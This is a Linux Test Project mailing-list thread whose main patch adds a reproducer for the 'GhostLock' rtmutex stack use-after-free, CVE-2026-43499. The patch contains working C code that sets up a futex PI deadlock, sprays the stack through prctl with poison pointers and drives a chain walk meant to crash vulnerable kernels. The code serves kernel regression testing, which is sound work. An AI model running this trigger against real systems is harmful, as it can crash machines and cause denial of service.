 #ifndef LAPI_PRCTL_H__
 #define LAPI_PRCTL_H__
 
+#include <stdint.h>
 #include <sys/prctl.h>
+#include "config.h"
 
 #ifndef PR_SET_NAME
 # define PR_SET_NAME 15
@@ -59,4 +61,26 @@
 # define PR_SET_SPECULATION_CTRL 53
 #endif
 
+#ifndef PR_SET_MM
+# define PR_SET_MM		35
+#endif
+
+#ifndef PR_SET_MM_MAP
+# define PR_SET_MM_MAP	14
+#endif
+
+#ifndef HAVE_STRUCT_PRCTL_MM_MAP
+struct prctl_mm_map {
+	uint64_t start_code, end_code;
+	uint64_t start_data, end_data;
+	uint64_t start_brk, brk;
+	uint64_t start_stack;
+	uint64_t arg_start, arg_end;
+	uint64_t env_start, env_end;
+	uint64_t *auxv;
+	uint32_t auxv_size;
+	uint32_t exe_fd;
+};
+#endif
+
 #endif /* LAPI_PRCTL_H__ */

-- 
2.51.0


-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply related	[flat|nested] 8+ messages in thread

* [LTP] [PATCH v9 5/5] cve: add CVE-2026-43499 reproducer
  2026-09-10 11:57 [LTP] [PATCH v9 0/5] Reproducer for ghostlock Andrea Cervesato
                   ` (3 preceding siblings ...)
  2026-09-10 11:57 ` [LTP] [PATCH v9 4/5] lapi/prctl: add more fallback definitions Andrea Cervesato
@ 2026-09-10 11:57 ` Andrea Cervesato
  2026-09-10 12:41 ` [LTP] [PATCH v9 0/5] Reproducer for ghostlock Andrea Cervesato via ltp
  5 siblings, 0 replies; 8+ messages in thread
From: Andrea Cervesato @ 2026-09-10 11:57 UTC (permalink / raw)
  To: Linux Test Project

From: Andrea Cervesato <andrea.cervesato@suse.com>

Add "Ghostlock" reproducer for CVE-2026-43499.

Reproducer based on the Nebula Security writeup and open-sourced PoC
(https://nebusec.ai/research/ionstack-part-2/,
https://github.com/NebuSec/CyberMeowfia).

Beware, this test will crash the system on a vulnerable kernel.

Reviewed-by: Cyril Hrubis <chrubis@suse.cz>
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 runtest/cve               |   1 +
 testcases/cve/.gitignore  |   1 +
 testcases/cve/Makefile    |   2 +-
 testcases/cve/ghostlock.c | 277 ++++++++++++++++++++++++++++++++++++++++++++++
 4 files changed, 280 insertions(+), 1 deletion(-)

diff --git a/runtest/cve b/runtest/cve
index b096bacef..894863e33 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -88,6 +88,7 @@ cve-2023-1829 tcindex01
 cve-2023-0461 setsockopt10
 cve-2023-31248 nft02
 cve-2023-52879 fanotify25
+cve-2026-43499 ghostlock
 cve-2026-53362 setsockopt11
 cve-2026-64600 refluxfs
 # Tests below may cause kernel memory leak
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index a167a8743..418d67566 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -16,5 +16,6 @@ tcindex01
 cve-2025-38236
 cve-2025-21756
 cve-2026-46331
+ghostlock
 refluxfs
 sctphantom
diff --git a/testcases/cve/Makefile b/testcases/cve/Makefile
index 6be4999a3..b4e4178eb 100644
--- a/testcases/cve/Makefile
+++ b/testcases/cve/Makefile
@@ -11,7 +11,7 @@ stack_clash:	CFLAGS += -fno-optimize-sibling-calls -Wno-infinite-recursion
 
 cve-2016-7042:	LDLIBS += $(KEYUTILS_LIBS)
 
-cve-2014-0196 cve-2016-7117 cve-2017-2671 cve-2017-17052 cve-2017-17053 refluxfs:  CFLAGS += -pthread
+cve-2014-0196 cve-2016-7117 cve-2017-2671 cve-2017-17052 cve-2017-17053 ghostlock refluxfs:  CFLAGS += -pthread
 cve-2014-0196 cve-2016-7117 cve-2017-2671:  LDLIBS += -lrt
 
 ifneq ($(ANDROID),1)
diff --git a/testcases/cve/ghostlock.c b/testcases/cve/ghostlock.c
new file mode 100644
index 000000000..2c24368f7
--- /dev/null
+++ b/testcases/cve/ghostlock.c
@@ -0,0 +1,277 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2026 Nebula Security <root@nebusec.ai>
+ * Copyright (c) 2026 Linux Test Project
+ */
+
+/*\
+ * Test for CVE-2026-43499 (GhostLock), a stack use-after-free in the
+ * rtmutex PI code, fixed in kernel v7.1:
+ * 3bfdc63936dd ("rtmutex: Use waiter::task instead of current in
+ * remove_waiter()")
+ *
+ * Reproducer based on the Nebula Security writeup and open-sourced PoC
+ * (https://nebusec.ai/research/ionstack-part-2/ and
+ * https://github.com/NebuSec/CyberMeowfia).
+ * Beware, this test will crash the system on a vulnerable kernel.
+ *
+ * [Algorithm]
+ *
+ * - Set up a three-futex PI deadlock topology.
+ * - Call :manpage:`futex(2)` with FUTEX_CMP_REQUEUE_PI on the waiter.
+ * - On a vulnerable kernel, the rollback from -EDEADLK leaves the waiter's
+ *   pi_blocked_on pointer dangling on its own stack.
+ * - Waiter sprays its stack continuously via :manpage:`prctl(2)`
+ *   (PR_SET_MM_MAP) with non-canonical addresses while main thread calls
+ *   :manpage:`sched_setattr(2)` on the waiter to trigger a chain walk.
+ * - The chain walk dereferences the sprayed garbage, crashing a vulnerable
+ *   kernel.
+ */
+
+#include "tst_test.h"
+#include "tst_timer.h"
+#include "tst_safe_clocks.h"
+#include "tst_safe_pthread.h"
+#include "lapi/syscalls.h"
+#include "lapi/sched.h"
+#include "lapi/prctl.h"
+#include "lapi/futex.h"
+
+#define ATTEMPTS 128
+#define POISON_PTR 0xdeadbee11c518f58ULL
+#define MAX_AUXV_WORDS 48
+
+#define CP_CHAIN_HELD 0
+#define CP_TARGET_HELD 1
+#define CP_SPRAYED 2
+
+static uint32_t f_wait;
+static uint32_t f_pi_target;
+static uint32_t f_pi_chain;
+
+static pid_t waiter_tid;
+static pid_t owner_tid;
+
+static unsigned long auxv[MAX_AUXV_WORDS];
+static uint32_t valid_auxv_size;
+static tst_atomic_t stop_spray;
+
+/*
+ * auxv_size must fit mm->saved_auxv (AT_VECTOR_SIZE words:
+ * 50 on current kernels, 44 on older ones)
+ */
+static const int try_sizes[] = {
+	MAX_AUXV_WORDS,
+	MAX_AUXV_WORDS - 4,
+	MAX_AUXV_WORDS - 8
+};
+
+static int futex_wait_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2,
+				 struct timespec *ts)
+{
+	return tst_syscall(__NR_futex, uaddr, FUTEX_WAIT_REQUEUE_PI, 0, ts,
+			   uaddr2, 0);
+}
+
+static int futex_cmp_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2)
+{
+	return tst_syscall(__NR_futex, uaddr, FUTEX_CMP_REQUEUE_PI, 1, 1,
+			   uaddr2, 0);
+}
+
+static void futex_lock_pi(uint32_t *uaddr)
+{
+	if (tst_syscall(__NR_futex, uaddr, FUTEX_LOCK_PI, 0, 0, 0, 0) == -1) {
+		if (errno == ENOSYS)
+			tst_brk(TCONF, "FUTEX_LOCK_PI not supported");
+
+		tst_brk(TBROK | TERRNO, "FUTEX_LOCK_PI failed");
+	}
+}
+
+static void futex_unlock_pi(uint32_t *uaddr)
+{
+	if (tst_syscall(__NR_futex, uaddr, FUTEX_UNLOCK_PI, 0, 0, 0, 0) == -1) {
+		if (errno == ENOSYS)
+			tst_brk(TCONF, "FUTEX_UNLOCK_PI not supported");
+
+		tst_brk(TBROK | TERRNO, "FUTEX_UNLOCK_PI failed");
+	}
+}
+
+static void *waiter_fn(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	struct timespec ts;
+	struct prctl_mm_map mm_map = {
+		.start_code  = (uint64_t)(uintptr_t)&waiter_fn,
+		.end_code    = (uint64_t)(uintptr_t)&waiter_fn + 0x1000,
+		.start_data  = (uint64_t)(uintptr_t)auxv & ~0xfffUL,
+		.end_data    = ((uint64_t)(uintptr_t)auxv & ~0xfffUL) + 0x1000,
+		.start_brk   = (uint64_t)(uintptr_t)sbrk(0),
+		.brk         = (uint64_t)(uintptr_t)sbrk(0),
+		.start_stack = (uint64_t)(uintptr_t)&mm_map,
+		.arg_start   = (uint64_t)(uintptr_t)&mm_map,
+		.arg_end     = (uint64_t)(uintptr_t)&mm_map,
+		.env_start   = (uint64_t)(uintptr_t)&mm_map,
+		.env_end     = (uint64_t)(uintptr_t)&mm_map,
+		.auxv        = (void *)auxv,
+		.auxv_size   = valid_auxv_size,
+		.exe_fd      = (uint32_t)-1,
+	};
+
+	waiter_tid = tst_syscall(__NR_gettid);
+
+	futex_lock_pi(&f_pi_chain);
+
+	TST_CHECKPOINT_WAKE(CP_CHAIN_HELD);
+
+	SAFE_CLOCK_GETTIME(CLOCK_MONOTONIC, &ts);
+	ts = tst_timespec_add(ts, (struct timespec){ .tv_sec = 10, .tv_nsec = 0 });
+	if (futex_wait_requeue_pi(&f_wait, &f_pi_target, &ts) != -1 ||
+	    (errno != ETIMEDOUT && errno != EWOULDBLOCK && errno != EDEADLK)) {
+		if (errno == ENOSYS)
+			tst_brk(TCONF, "FUTEX_WAIT_REQUEUE_PI not supported");
+
+		tst_brk(TBROK | TERRNO, "futex_wait_requeue_pi() failed unexpectedly");
+	}
+
+	TST_CHECKPOINT_WAKE(CP_SPRAYED);
+
+	while (!tst_atomic_load(&stop_spray)) {
+		/*
+		 * This is the syscall that poisons the buffer and it might
+		 * fail, so we don't use the SAFE_* variant.
+		 */
+		prctl(PR_SET_MM, PR_SET_MM_MAP, (unsigned long)&mm_map,
+		      sizeof(mm_map), 0);
+	}
+
+	futex_unlock_pi(&f_pi_chain);
+
+	return NULL;
+}
+
+static void *owner_fn(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	owner_tid = tst_syscall(__NR_gettid);
+
+	TST_CHECKPOINT_WAIT(CP_CHAIN_HELD);
+
+	futex_lock_pi(&f_pi_target);
+	TST_CHECKPOINT_WAKE(CP_TARGET_HELD);
+
+	futex_lock_pi(&f_pi_chain);
+
+	futex_unlock_pi(&f_pi_chain);
+	futex_unlock_pi(&f_pi_target);
+
+	return NULL;
+}
+
+static void setup(void)
+{
+	struct prctl_mm_map map = {
+		.start_code  = (uint64_t)(uintptr_t)&setup,
+		.end_code    = (uint64_t)(uintptr_t)&setup + 0x1000,
+		.start_data  = (uint64_t)(uintptr_t)auxv & ~0xfffUL,
+		.end_data    = ((uint64_t)(uintptr_t)auxv & ~0xfffUL) + 0x1000,
+		.start_brk   = (uint64_t)(uintptr_t)sbrk(0),
+		.brk         = (uint64_t)(uintptr_t)sbrk(0),
+		.start_stack = (uint64_t)(uintptr_t)&map,
+		.arg_start   = (uint64_t)(uintptr_t)&map,
+		.arg_end     = (uint64_t)(uintptr_t)&map,
+		.env_start   = (uint64_t)(uintptr_t)&map,
+		.env_end     = (uint64_t)(uintptr_t)&map,
+		.auxv        = (void *)auxv,
+		.exe_fd      = (uint32_t)-1,
+	};
+	unsigned int i;
+
+	for (i = 0; i < MAX_AUXV_WORDS; i++)
+		auxv[i] = POISON_PTR + i * sizeof(unsigned long);
+
+	for (i = 0; i < ARRAY_SIZE(try_sizes); i++) {
+		valid_auxv_size = try_sizes[i] * sizeof(unsigned long);
+		map.auxv_size = valid_auxv_size;
+
+		if (prctl(PR_SET_MM, PR_SET_MM_MAP, &map, sizeof(map), 0) == 0)
+			break;
+	}
+
+	if (i == ARRAY_SIZE(try_sizes))
+		tst_brk(TBROK | TERRNO, "PR_SET_MM_MAP failed for all auxv sizes");
+
+	tst_res(TDEBUG, "Using auxv_size = %u", valid_auxv_size);
+}
+
+static void run(void)
+{
+	pthread_t waiter_th, owner_th;
+	struct sched_attr attr = {
+		.size = sizeof(attr),
+		.sched_policy = SCHED_BATCH,
+		.sched_nice = 19,
+	};
+	int i;
+
+	tst_res(TINFO, "Triggering PI deadlock and stack spray");
+
+	for (i = 0; i < ATTEMPTS; i++) {
+		if (!tst_remaining_runtime())
+			break;
+
+		f_wait = 0;
+		f_pi_target = 0;
+		f_pi_chain = 0;
+		tst_atomic_store(0, &stop_spray);
+
+		SAFE_PTHREAD_CREATE(&waiter_th, NULL, waiter_fn, NULL);
+		SAFE_PTHREAD_CREATE(&owner_th, NULL, owner_fn, NULL);
+
+		TST_CHECKPOINT_WAIT(CP_TARGET_HELD);
+
+		if (TST_THREAD_STATE_WAIT(owner_tid, 'S', 10000))
+			tst_brk(TBROK | TERRNO, "owner thread did not block");
+
+		if (TST_THREAD_STATE_WAIT(waiter_tid, 'S', 10000))
+			tst_brk(TBROK | TERRNO, "waiter thread did not block");
+
+		TEST(futex_cmp_requeue_pi(&f_wait, &f_pi_target));
+		if (TST_ERR == ENOSYS)
+			tst_brk(TCONF, "FUTEX_CMP_REQUEUE_PI not supported");
+		if (TST_RET != -1 || TST_ERR != EDEADLK)
+			tst_brk(TBROK | TTERRNO, "FUTEX_CMP_REQUEUE_PI did not return -EDEADLK");
+
+		TST_CHECKPOINT_WAIT2(CP_SPRAYED, 18000);
+
+		SAFE_SCHED_SETATTR(waiter_tid, &attr, 0);
+
+		tst_atomic_store(1, &stop_spray);
+
+		SAFE_PTHREAD_JOIN(waiter_th, NULL);
+		SAFE_PTHREAD_JOIN(owner_th, NULL);
+	}
+
+	if (i < ATTEMPTS)
+		tst_res(TINFO, "Runtime exhausted, executed %d/%d attempts", i, ATTEMPTS);
+
+	tst_res(TPASS, "Kernel survived %d GhostLock trigger attempts", i);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+	.runtime = 180,
+	.needs_checkpoints = 1,
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_CHECKPOINT_RESTORE=y",
+		"CONFIG_FUTEX_PI=y",
+		NULL
+	},
+	.taint_check = TST_TAINT_W | TST_TAINT_D,
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "3bfdc63936dd"},
+		{"CVE", "2026-43499"},
+		{}
+	},
+};

-- 
2.51.0


-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply related	[flat|nested] 8+ messages in thread

* Re: [LTP] [PATCH v9 0/5] Reproducer for ghostlock
  2026-09-10 11:57 [LTP] [PATCH v9 0/5] Reproducer for ghostlock Andrea Cervesato
                   ` (4 preceding siblings ...)
  2026-09-10 11:57 ` [LTP] [PATCH v9 5/5] cve: add CVE-2026-43499 reproducer Andrea Cervesato
@ 2026-09-10 12:41 ` Andrea Cervesato via ltp
  5 siblings, 0 replies; 8+ messages in thread
From: Andrea Cervesato via ltp @ 2026-09-10 12:41 UTC (permalink / raw)
  To: Andrea Cervesato; +Cc: Linux Test Project

Hi Cyril,

sign...now there's a build error. I'm gonna send the next version..
https://github.com/linux-test-project/ltp/actions/runs/34474819570/job/102862960039

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply	[flat|nested] 8+ messages in thread

* Re: [LTP] [PATCH v9 1/5] sched_setattr: Convert to new API
  2026-09-10 11:57 ` [LTP] [PATCH v9 1/5] sched_setattr: Convert to new API Andrea Cervesato
@ 2026-09-10 13:00   ` Cyril Hrubis
  0 siblings, 0 replies; 8+ messages in thread
From: Cyril Hrubis @ 2026-09-10 13:00 UTC (permalink / raw)
  To: Andrea Cervesato; +Cc: Linux Test Project

Hi!
Reviewed-by: Cyril Hrubis <chrubis@suse.cz>

-- 
Cyril Hrubis
chrubis@suse.cz

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply	[flat|nested] 8+ messages in thread

end of thread, other threads:[~2026-09-10 13:01 UTC | newest]

Thread overview: 8+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-09-10 11:57 [LTP] [PATCH v9 0/5] Reproducer for ghostlock Andrea Cervesato
2026-09-10 11:57 ` [LTP] [PATCH v9 1/5] sched_setattr: Convert to new API Andrea Cervesato
2026-09-10 13:00   ` Cyril Hrubis
2026-09-10 11:57 ` [LTP] [PATCH v9 2/5] sched_getattr01: " Andrea Cervesato
2026-09-10 11:57 ` [LTP] [PATCH v9 3/5] lapi/sched: add SAFE_SCHED_SETATTR() Andrea Cervesato
2026-09-10 11:57 ` [LTP] [PATCH v9 4/5] lapi/prctl: add more fallback definitions Andrea Cervesato
2026-09-10 11:57 ` [LTP] [PATCH v9 5/5] cve: add CVE-2026-43499 reproducer Andrea Cervesato
2026-09-10 12:41 ` [LTP] [PATCH v9 0/5] Reproducer for ghostlock Andrea Cervesato via ltp

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox